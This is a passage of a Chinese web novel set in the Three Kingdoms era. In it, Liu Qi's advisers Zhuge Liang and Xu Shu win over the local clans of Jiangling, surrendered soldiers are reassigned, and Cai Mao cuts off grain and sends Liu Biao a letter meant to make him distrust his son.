“这些世家趋利避害,若主公能放下公子身段,亲往登门,以礼相待,明言‘保其田产、许其参与政务’,再点出蔡瑁专权、久后必祸及荆州士族,这般诚意与利害相劝,不愁他们不动心。” 刘琦闻言,眼前一亮,抬手抚掌:“孔明此计,点醒我了!” “只是……” 刘琦话锋顿住,眉梢又笼上几分苦恼,“我初入江陵,与这些世家素无交情,连登门的门路都没有,如何亲自拉拢?” 诸葛亮见刘琦这般模样,忍不住莞尔,羽扇轻摇:“主公莫忧。” “亮虽本是徐州琅邪人,却随叔父避乱荆州十余年,早已视此地为乡梓。” “且家姐嫁与蒯氏,与习、庞两家也算有间接渊源,平日偶有往来,多少能说上话。” “明日亮便先去拜会这两家名士,不急于提拉拢之事,只探探他们对蔡瑁专权的不满,再隐隐透露出主公愿与士族共守江陵的心意。” “若他们愿见、愿听,便是有松动之意,届时主公再亲自登门,诚意更足,必能说动他们。” 刘琦听罢,紧锁的眉头豁然舒展,先是长舒一口气,随即拍案而起,眼中满是振奋:“原来孔明早有门路!” “我此前还愁登门无由,如今有你搭桥,这拉拢世家之事便成了大半!有二位先生在侧,真乃我之幸事!” 说罢,刘琦上前一步,对着诸葛亮深深一揖,语气恳切,“明日便劳烦孔明为我先行探路,这份情,我记在心里。” 待直起身,刘琦目光转向一旁静坐的徐庶,语气渐趋沉稳:“孔明去联络世家豪强,元直,城中百姓这边,还需你多费心。” 徐庶当即拱手:“主公但有吩咐,庶无不应。” “好!” 刘琦点头,条理分明地嘱咐道。 “你即刻点两百精锐,混编旧衙役,分作十队巡守街巷。” “再让人誊抄安民告示,贴遍四街八坊,务必让百姓皆知——市井买卖、赋税徭役一切照旧,官府衙署明日便恢复理事。” “若有趁乱劫掠、滋扰民宅者,无论军民官绅,一概按军法严惩,绝不姑息!” 刘琦顿了顿,加重语气补充:“百姓安,则江陵根基稳。” “元直你既要镇住宵小作乱,也需约束手下兵卒,不许扰民,只要百姓安心度日,即便蔡瑁在外造势,江陵城内也乱不了。” 徐庶闻言,朗声应道:“主公放心!庶今夜便带人巡街,明日一早让告示贴满全城,定让江陵百姓知主公仁心、畏军法威严,不敢生乱!” 刘琦闻言舒展眉头,端起酒杯敬二人:“如此分工,内外皆稳,就有劳二位先生了!” 诸葛亮、徐庶起身接酒,齐声道:“为主公分忧,乃臣子本分,敢不尽力!” 随后酒尽饭毕,烛火摇曳映窗,三人同入内榻抵足而谈,语声渐轻却未歇,直至月上中天。 第23章 诸葛绸缪士族心,降卒分置策安民 第二日天刚蒙蒙亮,江陵城的晨雾还没散透,诸葛亮一袭青衫,手持羽扇,带着一名小童,缓步往城南习家大宅而去。 诸葛亮为何先拜访江陵习家,自然是有缘由的。 第一,江陵习家虽然比不上荆州顶尖士族蒯、蔡、黄、庞四家,但却也在这江陵城内根植百年,世代居此,树大根深。 且族中人杰辈出,而其中佼佼者便是习珍,其人骁勇有谋,早年在刘表平定荆州南部叛乱中立过功,是以,在本地军民中很有些威望。 第二,便是蔡瑁在得势后,借着各种手段硬吞了习家三条北上中原的商路,就此两家便算是结下了梁子,只不过如今蔡家势大,习家也只能忍气吞声。 而这也是诸葛亮头一个就选习家的缘故:有怨隙在,才好撬动。 习府门口的石狮子沾着晨露,门房老张头正眯着眼打盹,冷不丁见个穿素色长衫、摇羽扇的后生走到跟前。 老张头虽不认识诸葛亮,但却瞧诸葛亮人气质不凡——手中扇子摇得不急不缓,眼神清亮不闪躲,倒不像寻常游学的酸儒。 老张头不敢怠慢,连忙起身:“这位先生,您找哪位?” 诸葛亮把名刺递过去,声音温和:“劳烦通传习家主习珍先生,琅邪诸葛亮,特来拜访。” 诸葛亮那名刺巴掌大小,正面刻着“琅邪诸葛亮孔明”七个小字,背面还添了行注脚——“水镜先生司马徽门下,蒯祺妻弟”。 这是诸葛亮昨夜里特意让人赶制的,在荆州地面上,水镜先生的名头、蒯家的关系,可比什么官印都好用。 老张头接过名刺,眯眼瞅了瞅,先是看到“水镜先生司马徽门下”,心里就咯噔一下。 水镜先生的名头,荆州谁没听过? 老张头再往下瞅“蒯祺妻弟”,更是心中一惊。 蒯家可是荆襄顶流世家,习家跟蒯家虽没深交,却也不敢得罪。 张老头赶忙把名刺揣进怀里,弓着腰往里跑,嘴里喊:“先生您稍等!小的这就去报家主!” 没一盏茶的功夫,就听院里传来急促的脚步声,习珍亲自迎了出来。 习珍年约三十许,身材健硕,眉眼间带着武人的精干,见到诸葛亮后,拱手道:“久闻卧龙先生大名,今日得见,幸甚!” 其实习珍在接到诸葛亮名刺心里也实惊了一下。 习珍早听闻诸葛亮在长公子刘琦麾下效力,如今刘琦刚占江陵,诸葛亮就找上门,来意再明显不过。 但习珍面上半点不显,反而对诸葛亮来访热络得很。 一来是给水镜先生和蒯家面子,二来习珍也想试试刘琦的成色。 究竟是因蒯、蔡两家势大不得已效仿楚庄王,示弱三年,今朝得势破孙策,夺江陵一鸣惊人! 或者还是刘琦运气使然! 而想试探出刘琦的成色,也很简单,那就是看看刘琦在江陵城的后续。 刘琦若真如楚庄王,必识江陵在荆州的重要性。 江陵城扼长江中游,通襄阳、连荆南,粮栈码头济半州赋税,得之则握荆州命脉。 诸葛亮笑着拱手回礼:“习兄过誉了,‘卧龙’不过是乡野谬赞,当不得真。” “倒是习兄平荆南、守江陵的事迹,亮在隆中时就听过,今日得见,才知传言不虚。” 这话正好说到习珍心坎里,习珍最得意的就是平荆南战功,可惜后来被蔡瑁压着,没得到应有的封赏,如今被诸葛亮提起,脸上顿时多了几分笑意,忙侧身让出道路,伸手往里引:“先生快里边请!” “昨日刚摘的新茶,我让下人泡了,您尝尝鲜!” 说着习珍就伸手虚请诸葛亮入内。 两人客气着往里走,穿过栽着老桂树的院子,进了堂屋。 习珍屏退左右,只留个伺候茶水的小厮,亲手给诸葛亮倒了杯热茶,明知故问道:“卧龙先生亲自上门,不知道寻我习家何事?” 见此诸葛亮也不绕弯子,抿了口茶,便开门见山:“习兄,亮今日冒昧来访,实为长公子刘琦之事。” “公子仁厚,有匡扶汉室之志,更知人善任,且尤其…对蔡瑁等专权跋扈、侵吞士族田产商利之举,深恶痛绝。” 诸葛亮说话不急不缓,目光却始终看着习珍的反应。 习珍端着茶盏的手顿了顿,指节无意识地蹭过杯沿——听到“蔡瑁专权”“侵吞士族商利”时。 习珍眼底飞快掠过一丝厉色,随即又压了下去,只端起茶盏浅啜一口,掩去神情里的波动。 等诸葛亮说完,习珍才抬眼看向诸葛亮,语气听不出喜怒:“先生这话,倒是说到不少士族心坎里。” “只是长公子……刚得江陵,怕还没力气跟蔡都督掰手腕吧?” 习珍话里带着试探,也藏着几分对刘琦实力的疑虑。 诸葛亮闻言,羽扇轻摇,面上不见急色,反而淡淡笑了:“习兄有此顾虑,亮能理解!” “毕竟蔡都督权侵荆襄多年,家势确实让人胆寒。” “但是.....” “卧龙先生你如今但是什么呀?” 习珍配合的露出焦急之色催促道。 诸葛亮语气一顿,见习珍果然被吊起好奇心后,诸葛亮会心一笑才缓缓道出后续。 “习兄若细算,便知长公子如今的势力,未必输于蔡都督。” 说着,诸葛亮便当着习珍的面细细的点起了刘琦的实力。 “先说兵马,如今长公子麾下,有襄阳锐士五千,江夏郡兵三千,章陵郡兵四千,长沙水师三千,合计兵力一万五之数。” “且都是经过津乡血战,皆是经受过战阵的锐士,远非蔡都督麾下士卒可比。” “什么?!” “长公子麾下如今有万五锐士?” 诸葛亮说完,习珍端茶的手顿了顿,眼底闪过一丝惊讶。 这下习珍是真的感到惊讶了。 先前习珍只知刘琦打赢了孙策夺了江陵,却没料到刘琦麾下竟还有一万五兵马,在习珍想来刘琦能击破孙策,想必自己也损失惨重,不然也不会冒着被刘表责备的风险抢夺江陵城。 在习珍看来,刘琦抢占江陵城,除了知道江陵城的重要性外,就是看上了城内府库里堆积如山的军械粮草,只要有了这两样,士卒那是想招多少就招多少! 诸葛亮观其神色,便知火候已到,便顺势抛出刘琦的诚意:“长公子(刘琦)素知习家忠义,此次入江陵,意在保境安民,绝无侵扰乡贤之意。” “若能得习家相助,共掌江陵防务,不仅眼前危局可解,日后江陵安定,习家之商路权益,长公子愿力保无虞,共抗外侮。” 习珍沉吟片刻,眼底闪过一丝权衡。 习珍放下茶盏,声音压低了些:“先生所言,句句在理。蔡瑁跋扈,我习家深受其害,岂无怨言?” “长公子仁厚之名,某亦早有耳闻。只是……” 习珍说到这略一停顿,面露难色,“习家乃百年大族,非珍一人可决。如此大事,需与几位族老商议,方能给先生一个稳妥的答复。” 诸葛亮闻言,并不强求,知道习珍这话是实情——士族当家的,最忌讳独断专行,毕竟要对整个家族负责。 于是诸葛亮出言表示理解,并约定次日再来拜访。 习珍亲自送他至府门,临别时,左右看看无人,才压低声音道:“先生放心,长公子既有此诚意,珍必尽力说服族老,以期与长公子共图大事。” 习珍这话虽未说满,但倾向已明。 离了习家,诸葛亮又转往庞家宅邸。 庞家乃荆襄顶尖士族,江陵分支虽不及襄阳本家显赫,但在士林中的影响力依旧不容小觑。 此番接待诸葛亮的是江陵庞家分支宗主庞越,同时也是庞统的族叔,一位举止儒雅的中年文士。 诸葛亮心知庞家乃荆州四豪门,门槛更高,非言语可轻易打动,故而并未直接提出依附之事,只与庞越品茗清谈,纵论荆州局势。 二人谈话间诸葛亮着重分析了刘琦此前在津乡破孙策、如今入江陵安民所展现的“仁”与“智”,言语间对刘琦颇多期许。 而庞越始终面带微笑,偶尔插言几句,皆切中肯綮。 临别时,庞越看似不经意地提了一句:“士元(庞统)近日恰在江陵访友,若得知长公子如此人物在,或愿一见。” 此言一出,诸葛亮心中便有了底,知道这是庞家的表态,虽然庞越没明说归附,但愿意让庞统出面,就说明心里已经偏向刘琦了。 于是诸葛亮拱了拱手:“亮定当转告。” 等诸葛亮出了庞家,日头都快爬到头顶了。 诸葛亮扶着巷口老槐停下,弯腰捶了捶发酸的膝盖,又扯衣襟擦去额汗——日头正毒,后背早汗湿了。 身后小童忙举蒲扇凑上来猛扇:“先生跑两趟,脚都麻了!” 诸葛亮笑着点头,揉腿的手顿了顿,心里松快不少:总算没负公子托付,习、庞两家松了口,江陵这盘棋,总算是开了个好头。 而就在诸葛亮连访问习、庞两家之时。 江陵城西校场上,却是另一番景象。 数千江东降卒黑压压地站了一片,神情或惶恐,或麻木,或暗含不服怨恨等。 校场中间搭着个高台,刘琦穿着身轻便的铠甲,正站在台上,看着底下黑压压的江东降卒。 这些降卒大多面带菜色,眼神里带着几分惶恐,显然还没从战败的阴影里走出来。 诸葛亮访问习、庞替刘琦探口风,徐庶维持城中秩序。 而刘琦也没闲着,一大早便赶到江陵城西校场,这里既是襄阳营的营盘,也关押江东降卒的地方。 来到江陵城西校场后,刘琦采纳诸葛亮、徐庶之策,下令对这些降卒进行甄别分置: 那些年纪轻、身体强壮且对刘琦集团怨气不深的千余人,直接打散就地编入的襄阳营,以补充此前襄阳营的损耗。 而其余两千多老弱或心怀疑虑者,则单独编为“屯垦队”,选派得力旧吏带领,前往城郊开垦荒田,并许诺“屯田三年,免半赋税”。 如此既剔除了降卒中的不稳定因素,又能补充军粮,可谓一举两得。 处理完普通降卒,校场角落还押着十二名江东将校,为首的正是被魏延生擒的徐盛。 刘琦迈步过去,身后亲兵按刀紧随,校场上的风瞬间静了几分。 “本公子问你们,” 刘琦声音不高,却透着威严,“愿为我效力者,可留军中任职,不愿效力者,亦不勉强——但需替江陵屯垦三年,以抵你们入寇荆州之罪。” “三年之后,任你们去留。” 刘琦话音刚落,十二名江东将校中就有几人炸了锅。 五个身着单衣、满脸桀骜的将校往前站了站,为首一人对着刘琦破口大骂: “呸!我乃江东小霸王帐下别部司马王胜!” “你这刘表之子,不过是曹孟德口中‘豚犬不如’的货色,也配让我等效力?” “我等便是死,我等也只认孙将军!” 其余四人也跟着起哄:“没错!刘琦小儿!津乡之战不过是侥幸让你胜了一场罢了!” “等日后孙将军卷土重来,定将你碎尸万段!” 刘琦脸色骤沉。 穿越过来这些时日,刘琦从襄阳到江夏再到如今江陵,一路上收拢兵权、收拢人心,还没人敢这般指着鼻子辱骂。 一股火气“噌”地从心底窜起,手不自觉按上了腰间佩剑,眼底闪过杀意。 当即就想下令斩了这几个不知死活的东西! 可随即刘琦余光瞥见不远处的江东降卒,刘琦又硬生生顿住心中杀意: 若是此刻斩了这些将校,降卒必生恐慌,先前“同袍同薪”的安抚就白费了。 刘琦深吸一口气,指节捏得发白,终究压下了翻涌的火气,冷声道:“好,既然不愿降,便去城郊屯垦。三年后,若想走,本公子给你们路费。” “我呸!” 那为首的王胜唾沫横飞,“我乃江东战将,宁死不做你这刘琦小儿的耕奴!尔等要杀便杀,少来这套!” 旁边另一人也梗着脖子:“没错!可速斩我等,免得污了我江东儿郎的名声!” 刘琦脸色彻底沉了,眸底再无半分犹豫:“尔等既求死,本公子便如你们所愿!” 刘琦话音刚落,立马就有几名亲兵上前,两把钢刀同时扬起。 “噗嗤”两声,两颗头颅滚落在地,鲜血溅了旁边将校一裤腿。 剩下的人脸色骤白,方才还硬挺的腰杆,瞬间弯了几分。 刘琦扫过剩下的十人,声音冷得像冰:“本公子现在再问一遍——尔等是愿随我征战,还是去屯垦?” 沉默了片刻,剩下的十人中,有五个将校互相看了看,终究是活命的念头压过了傲气,嗫嚅道:“我等……愿去屯垦。” 剩下五人中,徐盛往前一步,拱手沉声道:“末将徐盛,愿归降公子,效犬马之劳!” 第25章 蔡瑁兵临城下,蔡瑁狠断粮道。 晌午的日头正毒,晒得官道上的尘土都有些发烫。 蔡瑁勒住战马,抬手示意身后绵延的一万襄阳精锐停下。 此时蔡瑁已经距江陵城已不足十里,远远望去江陵城楼的轮廓依稀可见。 可蔡瑁的瞳孔却猛地一缩。 城头上那面“傅”字守将旗已不见了,取而代之的,是一面迎风猎猎舒展的红底黑纹“刘”字帅旗。 江陵城静默地矗立在蔡瑁视野尽头,城垛间依稀能看见,巡逻士卒的身影。 而城门处,进出城的车马行人排着队,在城门官的查验下有序进出。 而此时日头也来到晌午,只见城内炊烟从城中袅袅升起,且也听不到任何慌乱的喧嚣,与往常没有任何异样。 但正是如此,才让蔡瑁心中惊疑不定,太正常了,一点慌乱都没有,活脱脱一副“太平城”的模样。 说实话,刘琦能从傅芳手中夺过江陵城并没有出乎蔡瑁的意料,毕竟刘琦乃荆州长公子,手下又有大军,可谓是要有名义有名义,要有实力有实力。 而蔡瑁写信给傅芳,无非就是想借傅芳之手,给刘琦找点麻烦,好让刘琦不能顺顺利利的接手江陵城。 到时,蔡瑁便可以趁着刘琦还没有完全掌控江陵之际,联手城内心向自己的世家豪强与自己一内一外逼迫刘琦让出江陵城。 “都督,这……” 这时,蔡瑁身旁亲卫压低了声音,“傅芳他…这是开城迎了刘琦?” 显然,亲兵,以及其他蔡瑁心腹,在看到江陵城如此安静祥和的场面后,都觉得傅芳这是完全投靠了刘琦。 而蔡瑁面无表情的骑在马背上没有回应亲兵。 但蔡瑁手背上青筋微微凸起,显示蔡瑁内心并不是如表面般平静。 此时的蔡瑁只感觉胸中一股怒火直冲顶门。 傅芳竟然没有按照自己信中所言,若是不可为,便借机给给刘琦找点麻烦,不能让刘琦快速的接手江陵。 江陵乃荆州重镇,钱粮广盛,这傅芳竟然让刘琦完完全全的接手了江陵城。 “真是....可恨!!” 蔡瑁一抽马鞭,在空气中打出一声‘啪’响,宣泄着心中的愤怒。 但蔡瑁到底是历经风浪的人物,深知刘琦如今占据江陵已经是木已成舟,自己再愤怒也无济于事了。 蔡瑁强压下怒火,从牙缝里挤出话来,声音阴沉:“慌什么?刘琦小儿,不过是仗着一时侥幸罢了。” 说着蔡瑁转过头,看向身旁的心腹参军王超。 “公泽(字),你辛苦一趟,带上一份贺礼,以恭贺刘琦大破孙策为名,进城去探探虚实。” “先将刘琦虚实探清楚了,才好做下一步打算。” 王超连忙应下:“都督放心,属下明白。” 王超心思缜密,自然懂得蔡瑁此举名为道贺,实为窥探。 若能摸清刘琦底细,尤其是城中粮草、兵力布防,日后或逼或谈,方能占据主动。 不一会时间,王超带着几名随从,捧着十匹上好绸缎和两件精美玉器,一路来到江陵城下。 越是靠近,王超心中就是越感到不可置信。 城门守军们眼神并未因为蔡瑁大军到来就感到慌乱,依旧查验进出之人。 显然,城门守军们早就知道蔡瑁大军会到来。 而当王超进入城内后,见到城内的景象时,算是杀死王超内心最后一丝侥幸了。 只见城内街道上,人来人往,却并无新占之城常有的那种混乱景象,反而透着一股井然的秩序。 这刘琦,治军有一套,安民似乎也有些手段? 王超心里嘀咕着。 而不一会王超便到了官署门口,却见一人早已等候在此,身着青衫,面容清癯,正是徐庶。 蔡瑁大军刚到城外十里,城头士卒便回府衙报信。 刘琦召诸葛亮、徐庶商议,都说闭城反而显得心虚,容易让蔡瑁摸清底细,不如让城里诸事照旧。 同时又琢磨着,刘琦是主帅,若亲自去迎,难免被王超盯着神色猜心思。 徐庶性子缜密,嘴风紧,既会周旋又能守得住机密,派他出面最稳妥。 所以徐庶才提前到官署等着,连待客的茶水都按平日规矩备着,就是要让江陵瞧着一派镇定,不给王超半点探底的机会。 徐庶见到王超,未语先笑,远远便拱手道:“郭先生大驾光临,有失远迎,还望恕罪啊!” “我家主公正与傅将军核查城防要务,实在抽不开身,特命元直在此相候,万望海涵。” 徐庶这话说得滴水不漏,既给了王超面子,又点明了刘琦此刻正在处理正事,无暇他顾。 王超心中暗骂一声“滑头”,脸上却堆起热情的笑容,快步上前还礼: “徐军师太客气了!” “长公子力挫江东孙策,扬我荆州军威,蔡都督闻讯亦是欣喜,特命郭某前来道贺,区区薄礼,不成敬意。” 说着,王超便让随从将贺礼奉上,接着两人一番虚与委蛇,携手走入官署。 分宾主落座,侍女奉上香茗。 王超呷了一口茶,便迫不及待地切入正题,他故作关切状:“徐军师,长公子此番汇聚诸军,声势浩大啊。” “郭某粗略算来,五千襄阳营精锐,江夏郡兵,长沙水师,再加上降卒和江陵原守军,怕是接近两万之众了吧?” 王超这里稍作停顿,观察着徐庶的神色,见对方依旧面带微笑,才继续道,“这么多人马**一城,每日人吃马嚼,所耗粮米绝非小数。” “蔡都督心系江陵防务,临行前特意嘱咐郭某,若长公子军粮草有何短缺,但讲无妨,襄阳库府尚算充盈,定会鼎力支持,绝不能让守城将士饿肚子。” 王超这话看似好意,实则暗藏机锋,意在探查江陵府库虚实。 若徐庶面露难色或开口求援,便说明刘琦根基不稳。 徐庶闻言,哈哈一笑,摆手道:“蔡都督和郭先生真是有心了!感激不尽!” 徐庶语气轻松,仿佛浑不在意,“江陵乃我荆州腹心之地,府库向来充盈。” “去岁冬粮尚存五万石有余,支撑我军绰绰有余。” 见王超眼神闪烁,似有不信,徐庶又慢悠悠地补充道: “即便……咳,即便真有什么万一,城中的庞、**两家也已主动向我家主公示好,表示愿借粮助守。” “这两家乃是江陵根基最厚的世家,家中储粮甚丰,断不会让我军有缺粮之虞。” “庞、**两家?” 王超心里咯噔一下,差点失态。 这两家是江陵地头蛇,向来圆滑,怎会刘琦刚进城一两天就如此旗帜鲜明的支持? 王超绝不相信! 定是徐庶虚张声势,想吓阻蔡都督! 想到这王超忍不住追问:“庞、**两家素来…嗯…谨慎,竟会如此爽快?” 徐庶端起茶杯,轻轻吹开浮沫,抿了一口,笑容意味深长:“世家大族,所求无非是安稳。” “而我家主公能守住江陵,护一方百姓周全,他们自然愿意鼎力相助。” 之后无论王超如何旁敲侧击,询问**或是城防细节,徐庶要么巧妙地将话题引开,要么便以“军机重事,不便透露”为由直接挡回,一番交锋下来,王超竟是半点有用的消息都没探到,只得悻悻告辞。 等王超回到城外蔡瑁大营,王超将所见所闻,尤其是徐庶关于粮草和彭、**两家的说辞,原原本本禀报给蔡瑁。 蔡瑁听完,沉默片刻,手指无意识地敲击着马鞍,发出笃笃的轻响,显是心中极不平静。 “庞、**两家愿借粮?鬼话连篇!” 蔡瑁冷哼一声,脸上满是不屑,“刘琦进城才多久?两天!那些世家豪强个个都是只进不出的貔貅,岂会这么轻易就答应资助粮草?” 以己度人,同为荆襄世家,想要蔡瑁拿出粮草资助别人,怎么说也得看得见的利益来交换才行。 就像当初蔡、蒯支持刘表一样。 想到这,蔡瑁语气笃定道: “定是那徐元直虚张声势,故意说给你听,想让我们知难而退!” 王超点头附和:“都督明鉴,属下也是这般认为。” “只是……那城中秩序井然,守军士气看起来也不弱,倒不像是缺粮的样子。” “表象!都是表象!” 蔡瑁断然道,“刘琦小儿或许有些笼络人心的手段,但巧妇难为无米之炊!江陵府库的情况,我比谁都清楚!” 蔡瑁站起身,在帐中踱了两步,“眼下是夏末,新粮未收,库中存粮仍是去岁冬粮。” “而三个月前,我以加强襄阳防务为名,调走了两万石!” “如今库中满打满算,绝超不过五万石!” “刘琦这两万人马,人吃马嚼,修缮城防,还要养着那些降卒,每月耗粮何止一万五千石?” “五万石,最多撑他三个月!” 蔡瑁越说思路越清晰,眼中闪过一丝狠厉:“他刘琦不是能装吗?我看他能装到几时!” 于是蔡瑁立刻下令:“公泽,你马上挑选五个机灵可靠的细作,扮作韩家的佃户或者运粮的民夫,混进城去!” “去找韩闿、王朔他们(蔡瑁在江陵的盟友),他们肯定知道刘琦的虚实。” “且庞、**两家是否真与刘琦接触?” “记住,要快,我要在明天天亮前知道消息!” 王超领命而去。 五名精干细作趁着夜色,悄无声息地摸向江陵城墙。 然而,他们并不知道,刘琦早已料到蔡瑁会有此招,魏延按照吩咐,不仅增加了城头明哨,更在城墙根、偏僻巷道布下了大量暗哨,一张无形的大网已然撒开。 第二天清晨,蔡瑁早早起身,在营帐内焦躁地来回踱步。 派出的细作如同泥牛入海,一夜过去,竟 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蔡瑁想了想,“就说蒯越在武陵平叛,军需吃紧,襄阳粮库需优先保障平乱大军,暂无余粮支援江陵!” “第二,全军就地扎营!” 蔡瑁脸上露出一丝阴冷的笑容,“我倒要看看,他那五万石粮能撑到几时!” “等他粮尽援绝,军心自乱,到时候,就不是我蔡瑁逼他,而是他刘琦要求着我给他一条生路!” “那时再让他乖乖让出江陵,才算是名正言顺,任谁也挑不出理来!” 另外蔡瑁他选择在此扎营,还有更深一层的考量。 据蔡瑁收到的情报,荆南局势近来动荡不安,武陵郡的蛮人叛乱非但未被蒯越平息,反而有愈演愈烈之势。 长沙郡,张羡的儿子张怿也举起反旗,作乱长沙。 而零陵、桂阳也亦有零星豪强,蛮族作乱。 蔡瑁这一万大军驻扎在江陵这个枢纽之地,一则可以逼压刘琦,二来也能作为蒯越的强力后援。 万一武陵蛮真的失控,蔡瑁也可以迅速挥师南下,稳定局势。 说到底,他蔡瑁与刘琦虽有私怨,但终究还是荆州之臣,不能眼睁睁看着荆南四郡彻底大乱,危及荆州根本。 这番布置,既针对刘琦,也兼顾了大局,在蔡瑁看来,可谓是一箭双雕。 *** 蔡瑁断粮、扎营的消息,很快被刘琦派出的斥候探知。 官署内,刘琦与诸葛亮、徐庶三人对坐商议。 诸葛亮轻摇羽扇,笑道:“主公,蔡瑁这是算准了我军粮草仅够三月消耗,想用断粮之计,逼我们自乱阵脚。” “蔡瑁屯兵城外而不攻,既是对我军的威慑,也是给他自己留了台阶——将来在刘荆州面前,蔡瑁大可说此举是为了震慑荆南乱局,以备不时之需,可谓既想打压主公,又要标榜自己心系荆州。” 徐庶点头补充:“孔明所言极是。” “蔡瑁若铁了心断我粮道,虽得彭、**两家承诺借粮,可毕竟非长久之计。” “一旦旷日持久,难免被动。” “为今之计,需从根子上化解,关键还在襄阳,在刘荆州的态度。” 刘琦深以为然,沉吟道:“父亲向来重视大局,尤其担心荆南生乱。” “蔡瑁想借荆南做文章,我们便顺水推舟。” 刘琦看向徐庶,“元直,你即刻替**拟一封亲笔信,用快马送往襄阳,面呈我父。” 刘琦仔细交代信中要点:“其一,详陈我入江陵之事,言明孙策虽退,江东威胁未消,荆南又现不稳迹象,我军暂驻江陵,实为防备荆南乱贼,阻遏内外之乱,绝无私心。” “其二,主动提及蒯越平蛮之事,就说‘听闻武陵蛮叛加剧,儿臣深以为忧,愿在江陵筹措粮草、整备军械,若蒯越有需,可随时南下支援,助其早日平定乱局,以安荆州’。” “其三,在信中多些问候之语,问问父亲身体安好,就说孩儿在江陵一切顺遂,待局势稳定,便回襄阳探望。” 刘琦特别强调:“尤其是‘愿援蒯越’这一条,要写得恳切、真诚。” “要让父亲明白,我占据江陵,非为争权夺利,而是为了助他稳定整个荆州的大局,甚至愿意支援与他并非一心的蒯越。” 徐庶领命,当即铺纸磨墨,斟酌词句。 书信写就,用火漆封好,交由心腹骑士,快马加鞭直奔襄阳而去。 与此同时,江陵城内外的备战并未松懈。 魏延加紧整训降卒,督促士卒加固城防,丝毫不敢懈怠。 一场围绕江陵归属,交织着粮草博弈、荆南牵制与父子君臣猜心的暗战,已然拉开序幕。 江陵城头那面“刘”字大旗,在渐起的秋风中飘扬,预示着更多的风雨即将 第26章 明夸暗杀!病榻老父疑亲子! 而就在刘琦写信时,城外的蔡瑁军营里,蔡瑁也没有闲着。 如今想靠自己逼迫刘琦从江陵城出来是指望了。 是以,蔡瑁在断了刘琦的粮草后,思来想去还是觉得要效果太慢。 毕竟单蔡瑁所知江陵城内就有五万石粮草,要是这刘琦小儿,真就与自己死磕到底,难道自己还真要在这江陵城外等上个两三个月? 是以,蔡瑁随即让参军王超替自己写信,准备从刘表那里动手。 “王先生,”蔡瑁手指头无意识地敲着案几,“这信,你得给我拿捏准了。 “通篇嘛,只夸不贬,得把长公子夸出花来!” “但是呢....” “信中得让州牧从字缝里瞧出点别的东西来……嗯,就是那种‘刘琦权重难制’的味道,你明白吧?” 王超捻着山羊胡,嘴角挂着一丝了然的笑: “都督放心,此等微言大义,超最是擅长。” “保管让州牧阅后,既喜公子之能,又……忧其势大难制。” 说罢,王超铺开绢帛,蘸饱了墨,笔走龙蛇。 蔡瑁在一旁踱着步,时不时凑过去瞅两眼。 信的开篇,极尽夸赞之能事:“琦公子真乃明公骨血!” “孙策来犯江陵,长公子竟能横渡茫茫云梦泽,奇袭敌后,津乡一战斩江东骁卒千余,俘战船三十余艘,硬生生逼得那小霸王重伤败走,保住了我荆州腹心——此等用兵之勇、临危之智,颇有明公当年单骑定荆州之风啊!” 这捧得越高,后面隐含的对比才越让人心惊。 中段,王超开始罗列刘琦如今实力,字字扎实: “长公子入主江陵后,雷厉风行,一两日便整饬防务、安抚百姓,庞、**等本地大族争相归附,连那傅芳的旧部都甘心听其调遣。” “而臣私下细察,长公子麾下,原属襄阳营的五千精锐丝毫无损,又自江夏调来郡兵三千,长沙调来郡兵三千,加之收编的江东降卒近两千,林林总总,兵力已逾万数!” “江陵府库中积攒的五万石粮草、上千套军械,眼下尽在其掌握。” “长公子凭此雄厚根基,日后收复江夏失地,当真易如反掌。” 王超细述这些数字看似报功,实则是给刘表心里添秤砣,让刘表掂量掂量刘琦儿子的分量。 结尾处,图穷匕见,却依旧裹着担忧的糖衣: “琦公子年未三十,便已掌两郡兵权,坐镇江陵此等重镇,军民归心,实乃明公之福啊!” 等信写好,蔡瑁拿过来逐字逐句读了三遍,才满意地捋了捋胡子:“嗯,就这么着!看着全是好话,里头全是刺儿。” 随后蔡瑁叫人取来火漆,亲手封了口,又把个心腹骑士叫进来,: “这信你亲自送襄阳,亲手交给州牧,路上别经第二个人的手,要是出了半点差错,你提头来见我!” 骑士连忙应了,揣着信就往外跑,马蹄子踏得尘土飞扬。 蔡瑁站在帐口望着,嘴角勾出个冷笑。 蔡瑁要的就是让刘表自己从“夸词”里读出“威胁”,旁人说再多都没用,得让这当爹的自己疑上儿子,那才叫釜底抽薪。 只要刘表心生起疑,一纸调令便可将如今看似势头正盛的刘琦麾下兵马给拆散了。 另一边,襄阳州牧府的后院,刘表内室里弥漫着浓重的药味和艾草气息,却也压不住一股沉沉的暮气。 刘表躺在病榻上,脸色蜡黄,眼窝深陷,自打黄祖被阵斩,江夏被占噩耗传来后。 刘表惊怒交加吐血,随后又染了风寒,这病榻一卧就是个把月,不见好转,反而咳得越来越厉害,每次咳嗽都感觉胸腔要裂开似的。 不过作为雄踞江汉数十年的枭雄,最怕的不是身体上的不适病痛,而是权力根基的动摇,外部强敌与内部潜在的威胁,比任何风寒都更能侵蚀刘表的生机。 这日午后,阳光勉强透过窗棂,侍从轻手轻脚地捧着一封帛书来到榻前,轻声说:“主公,是江陵大公子的奏报。” “念。”刘表闭着眼,有气无力地吐出一个字。 **刘琦信中的内容缓缓读来,无非是报捷、安民、整军、惦念父亲身体,并表示已做好准备,不日即可东进驱逐孙策收复江夏。 刘表听着,脸上渐渐露出一丝难得的笑意,忍不住又咳了两声,才欣慰道:“琦儿……到底是长大了。” “临危能破敌,占了江陵也不忘稳定后方,还心心念念着收复江夏,挂念着我的身子……没枉费我多年心血教导。” 说着刘表抬手示意侍从将信好好收在自己枕边,仿佛那封信能给他些许安慰。 心里那根因战事和病痛一直紧绷的弦,似乎暂时松弛了几分。 然而,刘表这丝慰藉并没持续太久。 第二天一早,蔡瑁的密信就送到了刘表面前。 刘表强撑着坐起身,就着昏黄的油灯,一个字一个字地仔细读。 起初,看到蔡瑁满纸夸赞儿子,他还频频点头,觉得蔡瑁这回总算识大体,知道眼下荆州局势艰难,并没有与刘琦斗气争权而生事。 蔡瑁支持次子刘琮,刘表是一直都知道的,所以刘表才会心中夸赞了蔡瑁一句。 可当刘表越是往后读,越是觉得不对劲。 尤其是“兵力已逾万数”、“粮械尽掌”、“日后荆州事务多由公子做主”这些扎眼的词句跳入眼帘,刘表的眉头渐渐拧成了一个疙瘩。 蔡瑁这信,字字句句都在夸刘琦,可组合在一起,怎么就那么像在他耳边敲锣打鼓地喊:“刘琦翅膀硬了,你这老父亲快管不住啦!” 而猜疑的种子一旦落入适合的土壤,尤其是权力者多病衰弱的内心,便会疯狂滋生。 